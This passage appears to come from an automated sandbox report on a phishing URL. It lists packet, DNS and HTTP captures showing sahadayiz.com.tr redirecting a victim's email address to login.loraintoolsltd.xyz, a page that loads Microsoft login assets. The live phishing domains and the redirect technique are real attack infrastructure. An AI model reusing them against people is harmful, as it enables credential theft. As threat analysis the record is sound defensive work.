Jan 22, 2025 06:34:19.846263885 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.846342087 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:19.846976042 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:19.846996069 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.431019068 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.431548119 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.431592941 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.433008909 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.433089018 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.434144020 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.434236050 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.434537888 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.434549093 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.484823942 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.705318928 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.705966949 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.706038952 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.706074953 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.766062975 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.792670965 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.844191074 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.844211102 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.844683886 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:20.845024109 CET	443	49810	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:20.845118999 CET	49810	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:23.243644953 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:23.243731976 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:23.243928909 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:24.095540047 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:24.095613956 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:27.472749949 CET	80	49742	217.18.85.38	192.168.2.4
Jan 22, 2025 06:34:27.472841978 CET	49742	80	192.168.2.4	217.18.85.38
Jan 22, 2025 06:34:28.094939947 CET	49742	80	192.168.2.4	217.18.85.38
Jan 22, 2025 06:34:28.099836111 CET	80	49742	217.18.85.38	192.168.2.4
Jan 22, 2025 06:34:41.628393888 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:41.628495932 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:41.628591061 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:41.628896952 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:41.628931046 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:42.256424904 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:42.256716013 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:42.256746054 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:42.257179976 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:42.257483959 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:42.257559061 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:42.298832893 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:52.166336060 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:52.166409016 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:52.166532040 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:54.096143007 CET	49903	443	192.168.2.4	142.250.185.164
Jan 22, 2025 06:34:54.096191883 CET	443	49903	142.250.185.164	192.168.2.4
Jan 22, 2025 06:34:57.656471968 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:57.656547070 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:57.656656981 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:58.095988035 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:58.096020937 CET	443	49781	173.46.80.217	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 06:33:37.691685915 CET	53	50322	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:37.844455957 CET	53	65517	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:38.911775112 CET	53	56407	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:41.564171076 CET	63924	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:41.564485073 CET	53234	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:41.571023941 CET	53	53234	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:41.571513891 CET	53	63924	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:43.647521973 CET	64310	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:43.647821903 CET	64671	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:43.924746990 CET	53	64671	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:44.027525902 CET	53	64310	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:44.802851915 CET	62355	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:44.802973032 CET	57454	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:44.815853119 CET	53	62355	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:44.816205025 CET	53	57454	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:45.718373060 CET	51057	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:45.718509912 CET	64072	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:45.719078064 CET	56152	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:45.719199896 CET	53060	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:45.725167036 CET	53	51057	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:45.725485086 CET	53	64072	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:45.725748062 CET	53	53060	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:45.726005077 CET	53	56152	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:47.093868971 CET	62245	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:47.095307112 CET	51240	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:47.100846052 CET	53	62245	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:47.101077080 CET	60858	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:47.101077080 CET	57186	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:47.102282047 CET	53	51240	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:47.107635021 CET	53	60858	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:47.108134031 CET	53	57186	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:49.149296045 CET	63626	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:49.149491072 CET	60562	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:33:49.160176039 CET	53	60562	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:49.160630941 CET	53	63626	1.1.1.1	192.168.2.4
Jan 22, 2025 06:33:51.318662882 CET	138	138	192.168.2.4	192.168.2.255
Jan 22, 2025 06:33:55.853420973 CET	53	59320	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:09.124819040 CET	54460	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:09.125250101 CET	55809	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:09.136286020 CET	53	54460	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:09.140686035 CET	53	55809	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:13.460935116 CET	63543	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:13.461323977 CET	55222	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:13.463452101 CET	51619	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:13.463670969 CET	56203	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:13.470787048 CET	53	51619	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:13.470890045 CET	53	56203	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:13.474112988 CET	53	55222	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:13.477144957 CET	53	63543	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:14.893842936 CET	53	61190	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:18.527386904 CET	53	56217	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:19.825472116 CET	57125	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:19.825723886 CET	59911	53	192.168.2.4	1.1.1.1
Jan 22, 2025 06:34:19.838109016 CET	53	59911	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:19.844098091 CET	53	57125	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:37.338599920 CET	53	49231	1.1.1.1	192.168.2.4
Jan 22, 2025 06:34:37.790705919 CET	53	53458	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 22, 2025 06:33:41.564171076 CET	192.168.2.4	1.1.1.1	0x8fc8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:41.564485073 CET	192.168.2.4	1.1.1.1	0x757c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 22, 2025 06:33:43.647521973 CET	192.168.2.4	1.1.1.1	0x92ab	Standard query (0)	sahadayiz.com.tr	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:43.647821903 CET	192.168.2.4	1.1.1.1	0xf249	Standard query (0)	sahadayiz.com.tr	65	IN (0x0001)	false
Jan 22, 2025 06:33:44.802851915 CET	192.168.2.4	1.1.1.1	0x3fe6	Standard query (0)	login.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:44.802973032 CET	192.168.2.4	1.1.1.1	0xac98	Standard query (0)	login.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 06:33:45.718373060 CET	192.168.2.4	1.1.1.1	0xc8c1	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:45.718509912 CET	192.168.2.4	1.1.1.1	0x28ca	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 06:33:45.719078064 CET	192.168.2.4	1.1.1.1	0x1935	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:45.719199896 CET	192.168.2.4	1.1.1.1	0x9a13	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 06:33:47.093868971 CET	192.168.2.4	1.1.1.1	0x983	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.095307112 CET	192.168.2.4	1.1.1.1	0xbe37	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 06:33:47.101077080 CET	192.168.2.4	1.1.1.1	0xdc3d	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.101077080 CET	192.168.2.4	1.1.1.1	0xab86	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 06:33:49.149296045 CET	192.168.2.4	1.1.1.1	0x45c8	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:49.149491072 CET	192.168.2.4	1.1.1.1	0xb616	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 22, 2025 06:34:09.124819040 CET	192.168.2.4	1.1.1.1	0x529	Standard query (0)	www.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:09.125250101 CET	192.168.2.4	1.1.1.1	0xab8b	Standard query (0)	www.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 06:34:13.460935116 CET	192.168.2.4	1.1.1.1	0xe021	Standard query (0)	live.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:13.461323977 CET	192.168.2.4	1.1.1.1	0xc754	Standard query (0)	live.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 06:34:13.463452101 CET	192.168.2.4	1.1.1.1	0x9f16	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:13.463670969 CET	192.168.2.4	1.1.1.1	0xb0df	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 22, 2025 06:34:19.825472116 CET	192.168.2.4	1.1.1.1	0xfc55	Standard query (0)	login.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:19.825723886 CET	192.168.2.4	1.1.1.1	0x7f5a	Standard query (0)	login.loraintoolsltd.xyz	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 22, 2025 06:33:41.571023941 CET	1.1.1.1	192.168.2.4	0x757c	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 22, 2025 06:33:41.571513891 CET	1.1.1.1	192.168.2.4	0x8fc8	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:44.027525902 CET	1.1.1.1	192.168.2.4	0x92ab	No error (0)	sahadayiz.com.tr		217.18.85.38	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:44.815853119 CET	1.1.1.1	192.168.2.4	0x3fe6	No error (0)	login.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:45.725167036 CET	1.1.1.1	192.168.2.4	0xc8c1	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:45.725167036 CET	1.1.1.1	192.168.2.4	0xc8c1	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:45.725485086 CET	1.1.1.1	192.168.2.4	0x28ca	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 06:33:45.725748062 CET	1.1.1.1	192.168.2.4	0x9a13	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 06:33:45.726005077 CET	1.1.1.1	192.168.2.4	0x1935	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:45.726005077 CET	1.1.1.1	192.168.2.4	0x1935	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.100846052 CET	1.1.1.1	192.168.2.4	0x983	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.100846052 CET	1.1.1.1	192.168.2.4	0x983	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.102282047 CET	1.1.1.1	192.168.2.4	0xbe37	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 06:33:47.107635021 CET	1.1.1.1	192.168.2.4	0xdc3d	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.107635021 CET	1.1.1.1	192.168.2.4	0xdc3d	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:47.108134031 CET	1.1.1.1	192.168.2.4	0xab86	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 06:33:49.160176039 CET	1.1.1.1	192.168.2.4	0xb616	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:33:49.160176039 CET	1.1.1.1	192.168.2.4	0xb616	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:33:49.160630941 CET	1.1.1.1	192.168.2.4	0x45c8	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:33:49.160630941 CET	1.1.1.1	192.168.2.4	0x45c8	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:33:49.160630941 CET	1.1.1.1	192.168.2.4	0x45c8	No error (0)	a1894.dscb.akamai.net		2.16.164.19	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:33:49.160630941 CET	1.1.1.1	192.168.2.4	0x45c8	No error (0)	a1894.dscb.akamai.net		2.16.164.49	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:09.136286020 CET	1.1.1.1	192.168.2.4	0x529	No error (0)	www.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:11.250626087 CET	1.1.1.1	192.168.2.4	0x3db	No error (0)	shed.dual-low.s-part-0036.t-0009.t-msedge.net	s-part-0036.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:11.250626087 CET	1.1.1.1	192.168.2.4	0x3db	No error (0)	s-part-0036.t-0009.t-msedge.net		13.107.246.64	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:12.117130995 CET	1.1.1.1	192.168.2.4	0x6f86	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:12.117130995 CET	1.1.1.1	192.168.2.4	0x6f86	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470787048 CET	1.1.1.1	192.168.2.4	0x9f16	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470787048 CET	1.1.1.1	192.168.2.4	0x9f16	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470787048 CET	1.1.1.1	192.168.2.4	0x9f16	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470787048 CET	1.1.1.1	192.168.2.4	0x9f16	No error (0)	e329293.dscd.akamaiedge.net		2.23.227.214	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470787048 CET	1.1.1.1	192.168.2.4	0x9f16	No error (0)	e329293.dscd.akamaiedge.net		2.23.227.223	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470890045 CET	1.1.1.1	192.168.2.4	0xb0df	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470890045 CET	1.1.1.1	192.168.2.4	0xb0df	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:13.470890045 CET	1.1.1.1	192.168.2.4	0xb0df	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 06:34:13.477144957 CET	1.1.1.1	192.168.2.4	0xe021	No error (0)	live.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 06:34:19.844098091 CET	1.1.1.1	192.168.2.4	0xfc55	No error (0)	login.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sahadayiz.com.tr

https:

challenges.cloudflare.com

cdnjs.cloudflare.com

www.loraintoolsltd.xyz

live.loraintoolsltd.xyz

identity.nel.measure.office.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	217.18.85.38	80	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2025 06:33:44.033569098 CET	498	OUT	GET /tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com HTTP/1.1 Host: sahadayiz.com.tr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 22, 2025 06:33:44.750504971 CET	262	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 refresh: 0;url=https://login.loraintoolsltd.xyz/FgJIoRDm#john.walker@gmail.com content-type: text/html content-length: 0 date: Wed, 22 Jan 2025 05:33:44 GMT
Jan 22, 2025 06:33:44.811052084 CET	443	OUT	GET /favicon.ico HTTP/1.1 Host: sahadayiz.com.tr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 22, 2025 06:33:45.036708117 CET	963	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Wed, 22 Jan 2025 05:33:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:45 UTC	696	OUT	GET /FgJIoRDm HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://sahadayiz.com.tr/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:45 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:33:45 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:33:45 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-22 05:33:45 UTC	162	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 62 37 34 37 2d 36 61 36 66 3d 64 63 63 30 35 34 39 32 31 33 61 31 36 33 36 31 39 64 34 66 62 62 65 66 35 65 32 62 64 65 39 65 32 38 33 38 63 39 63 62 31 36 33 66 63 34 34 38 62 65 63 63 64 64 36 33 61 63 64 30 31 33 63 64 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 33 33 3a 34 35 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; Path=/; Domain=loraintoolsltd.xyz; Expires=Wed, 22 Jan 2025 06:33:45 GMT
2025-01-22 05:33:45 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-22 05:33:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-22 05:33:45 UTC	6	IN	Data Raw: 31 33 65 63 0d 0a Data Ascii: 13ec
2025-01-22 05:33:45 UTC	5100	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 34 2f 63 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, 